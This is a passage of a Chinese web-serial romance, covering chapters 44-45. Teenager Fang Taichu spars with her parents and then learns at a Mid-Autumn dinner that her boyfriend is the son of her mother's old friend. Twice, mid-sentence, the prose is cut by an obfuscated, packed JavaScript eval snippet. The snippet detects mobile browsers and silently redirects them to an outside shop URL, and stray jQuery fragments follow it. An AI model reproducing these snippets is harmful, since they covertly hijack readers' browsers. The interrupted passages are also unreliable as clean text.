小初睫毛剧烈一颤,澄清得很快,“没有,我这么忙哪有时间。” 黄亦玫了然,那就是有。 “你来香港前不是跟姥姥姥爷信誓旦旦来着,你不喜欢港风更不喜欢港风男孩吗?” 小初吞咽了下口水,“都说了没有,您还揣测我,再说,我之前那都是偏见,那么多人喜欢港风,就一定有它的道理。” 黄亦玫心下一沉,对方还真是香港的。 “是铭仔吗?” 小初忽地从床上坐了起来,对着窗外的月亮始发誓,“绝对不是!我眼光在您眼里有那么差吗?” 哦,这次是真不是。 黄亦玫睨她一眼,“就随便聊聊天,你激动什么?” 小初嘟嘴,“谁让你总误解我,就跟我误解我爸似的。” 黄亦玫拉她躺下来,拍了拍她的后背,半晌,才组织好合适的措辞,“就算真谈了也没关系,妈妈之前也和你说了,我和爸爸不会阻止你交朋友的。但是有一点,你要保护好你自己,你还太小了,很多事情你还不明白它意味着什么,以及会产生什么后果。” 小初默了默,没反驳。 “无论对方是谁,至少在香港这半年,都不能发生越线的事,你懂妈妈意思吗?” 小初在黑暗里咬了咬唇,脑子里闪过余萧弋今晚的克制,和指腹压在她侧脸时的怜惜。 “因为男的谈恋爱上头之后满脑子很可能都是那件事,他会引导你跟着他的步调走,但这并不意味着,他真的爱你,也不意味着,他只对你有这种想法。真正爱你的人,会懂得保护你,克制他自己,明白吗?” 小初翻了个身,说:“妈,我真的困了。” 黄亦玫知道,今晚的对话就只能止步于此了。 小初一夜都没怎么睡好,梦里一直梦见余萧弋颈间摇晃的项链,却始终看不见他的脸。 第二天早晨吃过早餐,黄亦玫就乘车去了机场。 而小初手机的新闻客户端,果然头版头条就是余萧弋的照片。只不过,不是余蓁蓁那样自信从容面接受媒体采访的照片,而是他,穿着极为朴素的黑色T恤,在北京的洪灾中捐款捐物并和志愿者一起疏导受灾群众的照片。 小初眯了眯眸子。 她从未想过,做公益,也可以是豪门扭转形象的一步棋。 这样的布局,都是那个半夜不睡觉拉着所有人陪他喝茶的老头想出来的? 当天下午,余家的两个孙子就一块出现在了猝逝网红的告别式上,两人都打扮得极为低调。余萧弋一身黑,脸上还戴了黑色口罩,这样的他无端让小初想起他们在飞机上初相遇时他的样子。 余珺彦没戴口罩,在记者的镜头下,他神情极为悲伤,且始终沉默无言。 记者不停追问余淙淙本人怎么没来,是不是问心有愧,不敢来面对死者。 余珺彦才答,是因为小叔从事发后就伤心过度进了医院,到现在还在接受治疗,不仅生理上的,心理上也出现了巨大的创伤,因为死者生前曾是他最好的朋友之一。 他今天和堂弟前来,就是代表小叔表达哀思的,并说,余淙淙本人和家人一定会尽全力陪伴死者家属度过难关,如有需要,他们会一直陪伴下去,包括当时在现场的其他十个朋友,大家都有达到共识。 话说得滴水不漏。 而且还因为他本人长得太帅,很快就博得了一众网友的同情心。 大家又开始反思,用一件意外去道德绑架无辜的人,到底算不算道德。 小初没心思再看,直接退出了客户端。 这个半夜不睡觉的老姜,还真是辣。 还有一件,余萧弋说了谎,这个余珺彦,不仅是个帅哥,还是个帅到混血感拉满的帅哥,建模优越到比外模都不遑多让。 小初反思,她将来真的能在他们这样的家庭里完整地保持自己的初心吗? 她不敢说。 那余萧弋呢? 44.第 44 章 为了方便市民赏月夜游,香港把公共假期定在中秋翌日,且不调休,深得人心。 中秋前一天,小初接到萧文然的电话,问她第二天几点下课,她好过来接她去家里吃饭。 电话里萧文然的声音和见面时一样不疾不徐,令人如沐春风,却又每字每句都有种蛊惑人心的力量,根本让人没法拒绝。小初很怀疑对方专门学过沟通的技巧,总之,在她真正意识到自己答应了什么的时候,就已经跟人家约好见面的地点和时间了。 挂了电话,她才开始懊恼,可答应了的事又没办法反悔,她只能向黄亦玫告知了此事,并问自己该以什么礼节去登门拜访。 黄亦玫却说节礼她早派人送过去了,叫她只要人过去就好,她一个小孩,人家不会挑剔她的礼节的。又警告她在人家家里要客气一点,别像在自己家似的不管不顾,那张嘴就跟淬了毒似的,尤其对Enzo,一定要多几分忍耐力,千万不能再上手揍人家。 这个“再”字,就用得很妙。 小初在她妈妈看不见的地方挑了挑眉:“那臭小孩还找您告状了?” 黄亦玫顿了两秒,才一字一句问她:“你还真上手了?” 小初顿觉自己又上当了,并很怀疑黄女士这是把她毕生所学的儿童心理学知识都应用在她们家一大一小两个姓方的人身上了。 “方太初,你就无法无天吧,那……他们家的小孩也是你随便能动手的吗?你不看别人,不也得看看文然阿姨的面子吗?” 小初倚在图书馆门口的墙角,语气不以为然,“你放心好了,我又不是野蛮人,我有分寸的。再说,都是他先惹的我,你又不是没听见,嘁,他们家的小孩怎么了,他们家的小孩嘴欠也得挨揍,我不揍他,将来社会也要揍他。” 黄亦玫语结:“你就说吧你。”顿了顿才又加了句,“方太初我发现你怎么越来越像你爸了,没耐心还狂妄。” 话音一落,方协文的声音就进来了,听上去特别委屈,“老婆,我还不够有耐心吗?” “……”小初眉心一跳,她怎么感觉她爸这话……一语双关的? 还是说她长大了,会自动把很多东西,往暧昧颜色上联想? 然后果然,下一秒她就听见她妈小声说了句:“方协文你给我闭嘴。” 小初在这边尴尬地咳嗽了一声,并再次意识到到自己就是他们情欲的“产物”,一时间,父亲突然不像父亲,母亲也开始不像母亲,他们变成了这世上最平常不过的一对痴缠的男女,他们爱彼此,造就了她,又筑了个小小的世界,保护着她。 这就是爱情在人类生活中的具象化吧,好像……也没那么可怕。不仅不可怕,反而还,有点……浪漫?因为他们,她连无法无天都有了底气。 方协文接过电话,问小初:“他们家那个小崽子都跟你怎么出言不逊了?” 小初冷哼:“他说他想和我结婚,还说要来北京投奔你和妈妈,给你们做半边仔。” “他做梦!”方协文的声音骤然变得低沉有力,小初下意识将自己代入了他的下属,心底一阵发紧,难怪他们都说,方总平时倒是不多话,但有时候只要一个眼风扫过来,就够人瑟瑟发抖自我反省上好一阵了。 他已做了太多年的上位者,自有一种不怒而威的气场。 “他也不看看他们是什么人家也敢肖想我闺女!”方协文咬牙切齿,“小初,明天去了他们家,那小子再跟你开玩笑,你就给我当场翻脸,不用管什么谁的面子。你翻完脸,他们还得来找我道歉。” 小初斜了斜嘴角,顿时心情明亮,“谢谢爸,我知道该怎么做了。” 黄亦玫在那边劝,“你这么教孩子,以后你不能给她撑腰时让她怎么与人相处啊?那就是个十七岁的小朋友,你何必那么当真呢?再怎么样,萧文然……” 方协文打断老婆,“萧文然怎么了,萧文然比谁多个什么?” 黄亦玫无语,只是用手指了指他。 方协文说:“我就是养我闺女一辈子,也不可能和这样的人家做亲家好吗?我每天这么吃不好睡不好为了什么,不就为我闺女潇洒快意活一百年吗?我看看人家的脸色就算了,我闺女还要步我后尘吗?还萧文然,萧文然进了那样的人家,不也得生三个孩子起吗?没看出来她哪里硬气了。” 小初生怕父母因为自己吵起来,赶紧缓和,“爸,爸!您消消气,不至于的,我就那么一说,其实仔仔挺可爱的,并没有真冒犯我的意思。当然您放心,就算他很可爱,我也不可能跟他谈恋爱的,我就赖着您和我妈,潇洒快意活个一百年,您看怎么样?” 方协文哼一声,“你要敢头脑不清跟那边的人扯上关系,我打断你的腿。” 黄亦玫过来抢过手机:“越说越离谱了,你快把你闺女腿打断在家里养她一百年吧。” 方协文这才笑出来,轻声哄道:“老婆,我错了,我又狂妄了。” 小初笑到手抖,挂了电话。 然后才联系余萧弋,告诉他明天她可能不能陪他过节了,她要去上次一起吃饭的阿姨家里做客,也不知道结束后会到几点。 “无论几点,我都去接你,再说我还有礼物给你呢。” 小初必须承认她有些感动,因为相比她爸那种动不动就要打断她腿的爱,好像还是这样温柔而体贴的爱更没有生命危险一点。 “可我都没给你准备礼物。”小初忍不住想,她真的算不上什么称职的女朋友,“要不,我还是请你吃饭吧。” 余萧弋倚在路边的栏杆上,无奈地看了看天,“方小姐,你要不稍微为你的男朋友花点心思呢?” 小初想了想,“那不然,你找个浪漫一点的餐厅,我把那个浪漫的氛围当做礼物送给你。”而后她也有些气馁:“谁叫你什么都不缺,搞得我都不知道送什么能让你开心。” “送,你呀。”余萧弋的语气散漫而轻柔。 小初红了脸:“你认真点,不要一语双关。” “没有一语双关,就是字面意思,你本身对我而言就已经是命运最好的礼物。” 小初想起谢令妤的电影——男女主像礼物一样出现在对方的生命里,她想她改天一定要去探探班。 “余萧弋,你有时候真的很像一个情场老手。命运给你最好的礼物,不应该是让你出生就含了金汤匙,这辈子都吃穿不愁吗?” 余萧弋被她逗笑,“还是你比较重要,为了你,本来我都推了我妈叫我回家吃团圆饭的邀约了,没想到你倒撇下我去陪别人了。” 小初揪了小花坛边的一根草,无意识地在指间轻轻碾着,“我那是应酬,为了帮我爸妈维系关系网。”又问他:“你说,我带点什么礼物上门比较好?不用太夸张,伴手礼的水平就行。” 虽说贵重的节礼黄亦玫已经打点好了,但第一次登人家的门,空着手总归不好。 “买点柚子和杨桃什么的好了,应景,我们这边中秋节都吃这个。” 小初“嗯”了一声,“那待会我去趟超市,只是不知道普通超市的水果品质好不好,对方家庭条件……还算比较好的。” 余萧弋想了想,“这样,你也别买了,我昨天回家看见家里已经有人送了不少过来,待会我回去帮你挑两个贵的礼盒来,你带去送人好了。” 小初愣了一下,“……这好吗?” “有什么不好?反正我家里就那个几个人,也吃不完。” 这件事最后就这么被他轻描淡写地决定了。 下午下了课,小初就乘地铁去了某家还算可以的商场,准备挑个礼物送给他。她不能总是单方面接受他的体贴和爱意,也想让他感觉到她其实还是很在意他的。 可是送什么呢?他的确什么都不缺啊。 剃须刀?不行不行,这个太暧昧了,他们俩还没到那个程度。手表?送块比他现有的那几块便宜的,也不太送得出,再贵,她就舍不得了。她总觉得人不应该把钱花在超出基本生存需求太多的地方。 她身边还有很多像林佳宜一样的人,单是活着就已经很艰难了。 他又不玩游戏不抽烟,显示器键盘打火机什么的显然也不合适,鞋子?她根本就不知道他穿几码,而且,她看网上说,送男朋友鞋子,对方就会穿着这双鞋跑掉,而她现在还不太想他跑掉。 等哪天想了……再送也不迟吧。 至于别的什么香水皮带袖扣的,也全部被她一一否定,他太年轻,很多东西根本不是他这个年龄层实用的。逛到华灯初上了还是一无所获,手里倒是多了一堆买给小狗的零食和玩具。宠物用品店旁边刚好是一家甜品店,他黑色毛线衫上斑驳的牛奶污痕交织着那条摇晃的银色项链,一下从回忆里汹涌而出,身体某处不自觉一紧。 最后还是决定干脆买衣服给他,十月底的北京,天气应该很凉了。 他衣服的码数倒是不难猜,小初按照他平时的穿衣风格挑了一件卫衣一件毛衣和两件短夹克外套,以及一顶款式很好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16416101|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的毛线帽,不是什么大牌,但件件时髦又舒适。 单是这几样,就花了她快三万块。她努力了四年才拿到一次亦方一等奖学金,结果三十分钟不到,就为男人花出去了一大半。 男人好可怕。 没买裤子是因为,她也不知道他的腰围。然后她才惊觉,她对他的了解,好像也不比谢令妤的男女主多多少。 Sale问她:“小姐,我们今天超过两万的金额有赠送一盒内裤,你男朋友穿什么码?颜色你可以凭你喜欢来选,反正……”她意味深长一笑,“除了他自己就是你看见的时间最多。” “啊?”小初措手不及,整个人忽地一下就燃烧了起来,连眼底的水光都惊慌得差点漾出来了,“不要了吧?这,好像不太好。”她连连摆手。 Sale没想到还有人会拒绝她们家的赠品,反而激起了她的推销欲,“真的不要吗?平时这两条内裤也要一千多的。” “一千……多吗?”小初有点动摇了。 “对,如果按常价买,就是1299。” 小初立刻做了决定,“麻烦,帮我包起来。” Sale笑:“所以,什么码数?” 小初摇头:“我不知道,但我可以告诉你他的身高。”她拿不准他的体重,转头看了看她家墙上海报里的代言人,“身材跟他差不多。” Sale露出一个羡慕的神色,“好的,麻烦稍等。” 小初最后挑了一盒即不老气也不算花哨的款式给他,直至晚上见面时,她都没想好到底要不要把它塞到那个装衣服的袋子里。 “这两个水果礼盒你明天拿去送人,其他袋子里的零食和水果是给你平时吃的。”余萧弋看了看表,“今天忙,大概陪不了你半个小时,我帮你把东西拿上去可能就要走了。” 小初庆幸自己也有买了礼物给他,但更庆幸的是,他时间不够,别说半个小时,她都恨不得他马上就走,千万别在她面前打开袋子里的东西。 “我……”小初组织了一下措辞,尽量淡化她特意为了给他选礼物逛了好几个小时逛到脚痛的事实,“也有东西给你和Enzo。”她把手里袋子塞给他,“你的是衣服,Enzo的是玩具和吃的。” 余萧弋喉结滚了滚,有些不敢相信,“你给我买衣服了?” “嗯。”小初踢了踢地上不存在的石子,像个羞涩的少年,“跟朋友出去玩随便看的。” “我看看。”余萧弋说着就要把里面的东西往外掏。 却被小初极力阻止,“别,还是回去再看吧。我也还有作业要做呢,就先上去了。” “好。”余萧弋看出了她的窘迫,也没坚持,只是上前一步将她按进怀中亲了亲她的头发,“你不要买东西给我,这个牌子我知道,也不便宜的。爱情不是等价交换,你这样我会没有安全感,以为你……不想亏欠我的,一个女人不能心安理得花一个男人的钱,就说明她还不够爱他。” 小初实在没想到对于同一件事,他还能有这样的理解,怔了怔才说:“也没买过什么给你。” 她后来在网上查过他送她的那对钻石耳饰,价格是她给他花的这点钱的差不多二十倍。 她不还一点回去,怎么安心? 但,“还”只是一方面啊,最重要的难道不是她爱他,才愿意为他花这些无谓的时间吗? 余萧弋晃了晃手腕上的手绳:“这个不算吗?” “这个……”小初别过头去笑,“是你自己在垃圾桶捡的,跟我没关系。” “……”余萧弋气不过,掌心扣住她的后脑,坚定地亲下来。 却被小初躲开,“你现在正在舆论漩涡上,还是克制点,我不想我也跟着掉进去。” 余萧弋只能停住。 两人分开不久,他就给她发了衣服的上身效果图来,结果也和小初预想的差不多,就是她喜欢的那种介于少年感和轻熟感之间的临界值。 所有处于临界值的东西,都是充满不确定性却又让人沉迷上瘾的。 【码数合适吗?】 他很快回过来:【你指的哪一件?】 小初呼吸定住,差点不看他消息就直接清空聊天记录。 【有点紧。】 【……】 【我说的是袖口。】 【……】 【只是,我在想,这些衣服我什么时候能穿上,过年时候吗?】 小初把手机扔到了床上,再没搭理他。 45.第 45 章 小初最开始以为萧文然最多会派个司机过来,不想却是她亲自来接的。 在看到她手里的礼盒时,她目光闪烁了一下,但很快恢复如常,笑着迎了上来,“我刚和妹妹说今天会有个漂亮小姐姐来家里做客,妹妹开心死了。” 小初把礼盒递过去,乖巧颔了颔首,“文然阿姨,中秋快乐。” 萧文然叹息一声:“以后你不用跟阿姨这么客气的,我是真心把你当成我另一个女儿的。我和你爸妈是二十几年的交情,虽说这些年大家碰面机会不多,但这并不意味着,我们的感情就淡了。等你到我们这个年龄就会明白,人这一生,最后还能有那么三两个坐在一块说说真心话的朋友,已经很难得了。” 小初抿唇点点头。萧文然总会给人一种值得信任的感觉,她相信,她在商场上应该也有谈下别人谈不下来的生意的能力。 车子一路向山顶开去,和小初预想的差不多。这还是她第一次到富人区来,一切只觉得新奇。 她给余萧弋发消息问他在干嘛。 那边回:【在陪铭仔吃饭,今天过节,他又不太想回他爸那边去。】 小初默了默,说:【余学长,你真是一个内心柔软的人。】 【也不全是因为他,主要今天家里大概率很闹,我也不太想回去。】 小初不解:【为什么?】 【好像有客人。】 他没跟她说的是,她妈一早就打了电话给他,说要介绍个漂亮妹妹给他。这两年家里无论是爷爷奶奶还是姑姑,总时不时就要给他介绍女朋友,实在令人不胜其烦,只是他没想到,他那个向来开明的妈也加入这个行列里来了。 他在他们眼里是有什么毛病吗?必须要他们介入才能对异性产生冲动吗? 【哦。】小初不知道该为此说些什么。 很闹?为什么?她想了想,大概他们这边节日都要一整个家族聚在一起的,毕竟他太奶奶还健在,听说已经快一百岁了。 人多再加上客人来访,确实需要一点耐心应付。 余萧弋安慰她:【没关系你慢慢应酬,我等你。】 小初心里一阵熨帖。 再抬头,车子已经驶入一个被高大植被掩映的漂亮庭院。萧文然一边停车一边不知道拨通了谁的电话,小初听不见她耳机另一边的声音,但见她神情极为严肃,跟那人说:“反正半小时内不到家你就自己看着办。”说完就挂了电话。 车子停好,她才回眸自然地跟她解释道:“是哥哥。” 小初点头,推开车门。 她自然是知道他们家有三个孩子的,但也没因此觉奇怪,豪门嘛,秉承多子多福的生育理念的确可以抗风险。就像余家,哪怕大部分子女不尽人意,也能出一个余蓁蓁顶下所有。 她不能拿她北京的那套标准来衡量另外一个世界的东西。 萧文然笑着问她:“怎么样,阿姨这审美,院子漂亮吧?” “阿姨审美顶级。”小初由衷赞到。此刻半城山水半城烟火都被夕阳笼罩着,有风吹过,白色别墅前的游泳池顿时泛起一阵金色涟漪。山上的环境静谧清幽极了,空气也新鲜,吸一口就可以扫清人不少烦忧。 小初很喜欢这里。 “那你以后常来玩。” “好。” 两人走进室内,一进门,Enzo和一个俏皮灵动的女孩就迎了上来,用极为热情的态度欢迎了她。 佣人们各自安静地忙碌着。 女孩介绍自己叫Isla,I-S-L-A,S不发音,是小岛的意思,她爸妈当初给她取这个名字,是希望她长大独立自由,热爱自然。 小初看了看她的蜜色皮肤,会心一笑,心想她还真人如其名,一看就很爱运动,追求自由。 萧文然把小初带来的两个礼盒不动声色地递给了佣人。 却还是被Enzo捕捉到,他有些奇怪,问道:“妈,我说我今天放学回来想吃柚子找不到呢,原来是被你藏起来了?” 小初有些不解,回头看了一眼。 萧文然没好气道:“你少吃点水果挺好的,因为你已经够甜了。” Enzo立刻被哄得眉开眼笑:“真的吗?”又来拉小初的袖子,笑嘻嘻地问她:“姐姐,你觉得呢?” 小初本想甩开他,但一见他那个小心讨好的模样也有些不忍,况且他也只是拉着她的袖子,并没有做很过分的事。 和黄亦玫一样,她也只是把他当成十七岁的孩子,根本就没往男女大防上联想过,方协文就是太爱她了,才草木皆兵的,她怎么可能听他的,在人家家里说翻脸就翻脸。 而且,她本能相信萧文然,总觉得她生出来的小孩,底色一定是纯善的。 小初瞥他一眼,难得给了他一个好脸色,“我认同。” Enzo心情大好,拉着她就往客厅走,“走,我拿巧克力给你吃。” Isla也喜欢漂亮的小姐姐,一反平时的叛逆,也跟上了脚步,嚷嚷着:“你要先问问人家女孩子爱不爱吃巧克力好吧?”又提议:“我们要不下楼去玩会儿?反正开饭还需要一会儿时间。” Enzo表示同意,问小初:“姐姐你想玩什么?游戏,室内高尔夫还是想唱歌?或者我唱给你听也行,偷偷跟你说,我可是我们学校歌手大赛的冠军。” Isla轻嗤,“这件事你早昭告天下了吧,还什么偷偷?” 小初被两人围着,耳朵恨不能拆开来听他们讲话,人生第一次产生了这世上原来也有她没办法冷脸拒绝,也不知道该怎么招架的人,只能转过头去求助地看了眼萧文然。 萧文然失笑,跟两个孩子说:“你们两个别把姐姐吓到。”又看了看表,安抚似的看了看小初,“你先跟他们去玩会儿,我们差不多半小时开饭。”她顿了顿,眼底的神色有些不明,“然后哥哥也就回来了。” Enzo说:“我就说今天家里好像少了什么,原来是大哥不在家。” Isla瞥他:“你真是榆木脑袋,大哥本来就不怎么在家住,况且,你不觉得他最近更加神出鬼没吗?我猜,他一定谈恋爱了。我都不止一次抓到他看着手机屏幕傻笑了,比我还幼稚,我是说……”她压低声音,“比我男朋友还幼稚。” 小初蹙了蹙眉,不知怎么闪过一丝很奇怪的念头,但还未待她想明白那丝奇怪来源于什么,她的思维就被从楼上下来的男人打断了。 男人的气质非常温和儒雅,尽管已人到中年,但因为保养得当,看着明显比同龄人要年轻。 刚走到楼梯拐角,男人就笑着开了口,“这就是长大了的方太初啊!” 小初发现他的眼睛弯起来的样子和Enzo很像,但Enzo的五官,身高和骨相明显都要优越很多。 这大概就是豪门男人争相娶美女的原因之一吧。 小初赶紧点了点头:“如果我没猜错,您是叔叔?” 萧文然笑:“你没猜错。”又跟老公说:“怎么样,长大后的方太初和你想象得一不一样?” 男人认真思索了一下,朗声道:“还是有点不一样的,她小时候香香白白又软又糯,跟童话世界里的公主似的,现在嘛……”他卖了个关子。 小初倒有点好奇他接下来会说出一句什么来。 萧文然瞪了老公一眼:“你好好说,跟孩子也开玩笑。” 男人眨眨眼:“现在更英气了,小时候同黄亦玫的饼印一样。现在嘛,还是能在她身上看到不少她爸的影子的,听说她还是个理科学霸?果然虎父无犬女。” 萧文然认同地点点头:“他们两个基因都那么好,怎么排列组合都不会错的。” 小初被夸得有些不好意思,脸上的红晕就没褪下来过。 她有点奇怪,怎么感觉萧文然夫妇对她爸妈的评价要比她爸妈对人家的评价高很多呢? 既然是二十几年的老交情,到底是什么造成这种误解的呢? 她明明觉得他们夫妇都很亲切随和啊,虽然是豪门巨富,却一点架子都没有,家里佣人规矩懂礼,孩子也教育的纯善开朗,怎么会被方协文嫌弃成那样呢? 小初百思不得其解。 Enzo和Isla拉着她向楼下影音室走去,才到楼梯折角,她就看见萧文然又拿出了电话。估计又是打给那个半个小时之内赶不回来就要遭殃的哥哥。 和她家的偏中式的风格不同,这边的装修相对要现代很多,空间开阔,动线简洁,室外山水植被的颜色自然地延续至室内,视觉上极为纯净大气。 到了影音室,几人刚一坐下,就有佣人端着托盘送来了茶水饮料和水果点心。 Enzo问小初,“姐姐你喜欢什么风格的歌?” 小初挑了挑眉:“先说说你都擅长什么风格的歌。” “K-POP听吗?” 她点点头:“也可以听。” Enzo选了首这两年比较火的一个男团偏青春明快的歌,小初虽然没听过,但觉得他还挺会选,这孩子长得本来就有点东北亚美少年的风格,这么一唱,初恋风扑面而来,挡都挡不住。 一曲完毕,Isal就笑意深深倒了杯茶给小初,问道:“小初姐,你觉得我二哥怎么样?” “唱得不错,就是有些地方韩语发音不太准。” Isla说,“我问的是人。” “人唱得确实不错。” “……” Enzo一听不干了,“你说我人怎么样都行,但你说我韩语发音不行我要抗议。” 说完就又点了两首其他的歌唱了起来,一边唱,还一边装成真正歌手的样子跟她和Isla互动,台风和表情管理都特别到位,做作又好笑,Isla被她逗得前仰后合。 到了第三首,小初终于受不了了,睨他,“仔仔,你是不是不知道姐姐是朝鲜族啊。” Enzo露出一个困惑的眼神,“朝鲜族是什么?” “……”一句话就把小初干沉默了,她就不该跟一个臭小孩说这么多,最后只能无力解释道:“就是按说朝语或者说韩语应该是我母语的,只不过我从小没在民族聚集区生活。” Enzo理解了一下,“就是说你可以唱韩语歌?” 小初起身,“来帮我找一首你肯定听过的,就……”她接过话筒,挑了挑眉,“Bigbang的《if you》吧,只不过你得帮我调个女生的key。” “没问题!”Enzo很兴奋,“姐姐你太让我意外了!” 小初的声线清澈偏冷,有点像北方冬天清晨被冻过的空气,有种很特别的味道,向来适合唱一点情歌。 唱到中间副歌部分,Enzo也加入了进来,两人的声音一合,电影感瞬间袭来,上一帧还甜蜜着的男女主,画面一转就已走散了。 歌才唱了一半,萧文然就下来喊大家吃饭了,Enzo不乐意,说好歹让他和姐姐唱完嘛,Isla也说,“妈,我在录像,你能不能先出去。” 萧文然无奈,“唱完就上来啊,哥哥已经回来了。” “好!” 两人到底还是唱完了歌,又在楼下洗手间洗了手才上楼向餐厅走去。 小初看见佣人在厨房和餐厅之间穿梭着,餐桌上已经摆满了热气腾腾的食物,萧文然夫妇正在给孩子们分碗筷,整个画面非常温馨,很有家和节日的氛围。虽说她下午就已经给远在北京的家人还有延吉的奶奶打过问候电话了,但这会儿还是有点脆弱,很想家,想爸妈。 还有他。 她现在只想快点吃完饭下山去,去见那个还在心心念念等着她的人。 她的孤独已经到了极致,急需他的安慰和包裹。 Enzo一边走还一边叽叽喳喳和她说着话,“姐姐,你教我韩语好不好?” 小初想也没想就拒绝:“你找我不如找个更专业的家教,再说我哪有时间教你。” Enzo摇着她的手,撒娇,“求你了嘛,我马上就要高考,补文化课还不够时间,我妈怎么可能给我请韩语家教。” “那你就等高考结束……” 话说一半,三人就和卫生间里出来的人撞在了一起,Enzo在外侧被撞得最狠,却还没忘揽臂护了护小初,待看清里面的人他才懒洋洋说了句:“哥!你走路好歹看着点!” 小初本能抬起头,看向那人的脸,心底的声音是,也不知他和Enzo像不像,可下一秒,她和那人就都震惊地愣在了原地,视线对上的那一刻,她和他脑子里不约而同都响起一阵惊惧的噪音,世界闪了一下,像个不真实的泡沫,啪地一声,泡沫破了,所有人都被浇了满头满脸,狼狈不堪。 房间里大人孩子似乎都在说话,但小初的心却爆破之后反而安静下来,空得要命,她实在是没想到…… 余萧弋竟然就是萧文然的儿子。 她爸口中那个她要是敢跟他扯上关系,就要打断她腿的人。 她也终于明白方协文的嫌弃是来自什么了,他嫌弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16420333|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不是萧文然夫妇,他嫌弃的是整个余家,是他们几代人混乱不堪的私生活,或许还有很多她不知道的生意场上的肮脏内幕。 一个屹立四分之三个世纪还没有倾覆的豪门家族经历过什么,方协文估计比谁都懂,这样的家族生出来的孩子,就算外表再怎么伪装亲和,也改变不了骨子里的傲慢精明、利益至上的底色。 他爱她,所以不想她累心和这样的人和家庭纠缠。 小初什么都懂了。 可,她又能怎么办呢,迟了。 萧文然走上前来,笑着替两人做了介绍,“Theo,这就是我跟你说的妈妈朋友的女儿,方太初,她是来香港交换学习的,也在你们学校,你以后要多照顾她,就像照顾亲妹妹一样,知道吗?”又拉过小初的手,语气温柔又怜悯,“小初,这是哥哥,他比你大两岁,以后你有什么不懂的就问他。阿姨说了,我把你看成我另外一个女儿一样,所以你不用跟他客气。” 小初还没从雕塑的状态缓过来,整个人木木的,应了声,“谢谢阿姨。” 很多事情千头万绪,她根本不知该从何理起。 余萧弋目光深邃地看了他妈一眼,没吭声,待视线转向小初,才缓和下来,点头轻声说了句:“你好。” 小初一怔,瞬间明白了他的意思,但仔细一想不相认也是对的,认了才要尴尬死,她带来的礼盒就是他从家里拿走的,结果又被她拎回来……想到这,她简直恨不能立刻从这里消失,并从此再不跟这家人有任何牵扯!难怪刚进门时候Enzo说什么柚子被藏起来,原来是这个意思? 她本是个坚定的唯物论者,此刻却在别人看不到的地方不迭地祈祷着,但愿那个礼盒全香港都能买到,萧文然什么都没看出来,但又总觉得这事可能性不大,她那么慧眼如炬……想必早就看穿一切了吧! 如果是这样,她口中所说的哥哥妹妹是什么意思?是在委婉告知她,她不同意两人交往吗?但碍于方协文和黄亦玫,这话又不好太直接说出来,所以才采取的这种方式? 仔细想想余萧弋喜欢她这事从始至终也没瞒着任何人,他朋友知道,余蓁蓁知道,她入住的酒店前台知道,杨敏中一家也知道,余家公司的公关秘书还给她宿舍送过东西,这一切,只要萧文然有心,根本就不是秘密。 “哥,哥哥。”小初低头应了一声,就没再看他的脸。 她需要时间和空间好好整理一下逻辑,看他,只会影响她发散思维。 “来吃饭。”萧文然亲热拉过她的手,让她坐在主人位的下首第一个,态度上较之前在会所,没有任何差别。 但小初的心境已全然不同。 她不止一次被身边的人贴过“率真”的标签,可那并不意味着,她是个情商低,对一切都无知无觉的人。生在她和他这样的家庭,“率真”不过是因为她没必要在一些不重要的事情上浪费时间和情绪罢了。若真论起来,作为方协文和黄亦玫的孩子,她又怎么可能无知无觉? 她说过,她早慧,从小心思就比一般人深。 Enzo开开心心贴着她坐了,余萧弋则坐到了她对面。 余家私厨的手艺很好,每道菜味道都不错,但小初却味同嚼蜡,尽管面上仍极力和除了余萧弋之外的每个人热络地交谈着,实际整颗心都很空,她甚至根本不记得自己上一句胡言乱语了什么。 也没什么好记得的,都是些社交辞令,不涉及隐私的闲话,又有什么可值得记住的内容? 席间她不止一次看见余萧弋在神情复杂地看她,她却始终没给他一个眼神回应,哪怕和他左右两侧的人攀谈,视线也是极没有温度地从他身上越过去的。 她绝不能让萧文然看出她对他的在乎,不然,就更丢脸了。 人家设宴招待她,把一切都做得这么得体完美,里子面子都给她了,现在她只要顺势云淡风轻将这一页翻过去就好,趁黄亦玫和方协文什么都不知道,这样,将来他们双方碰面的时候还不至于尴尬,也不至于因为她和余萧弋影响到他们二十几年的交情。 “小初,我记得你爱吃蟹腿是吧?今天是不一样的做法,你多吃点。”萧文然招呼。 “谢谢阿姨。”小初勾唇。 Enzo甜笑:“姐姐,我给你剥。” 小初斜睨他,“献殷勤也没用的啊,我是不会教你韩语的。” 她这会才明白,Enzo就是余萧泽,而余萧弋给小狗取名Enzo Junior原来是一种致敬,难怪他当初看到她的F Junior一下就猜到了是小方的意思。 萧文然意外看了两人一眼,“仔仔要学韩语?” “我就学着玩。” 小初眨眼:“其实我刚逗你的,你唱得挺准的,个别发音跟着多唱两遍就好了。你要真拿不准,也可以找我帮你纠正纠正,不过,我时间也紧,不一定能及时回复你消息。” “真的?我就知道姐姐最好了。”Enzo说着就歪头枕了枕小初的肩膀。 因为怕挨揍,他这次枕的时间很短,蜻蜓一样点了点水就飞了。 小初听得很清楚,余萧弋的酒杯就是在点水的那一瞬掉到地上去的,杯子与地面大理石剧烈碰撞在一起,玻璃片顷刻四分五裂,飞得到处都是。 她的心一震,但还是没有抬眸看他。 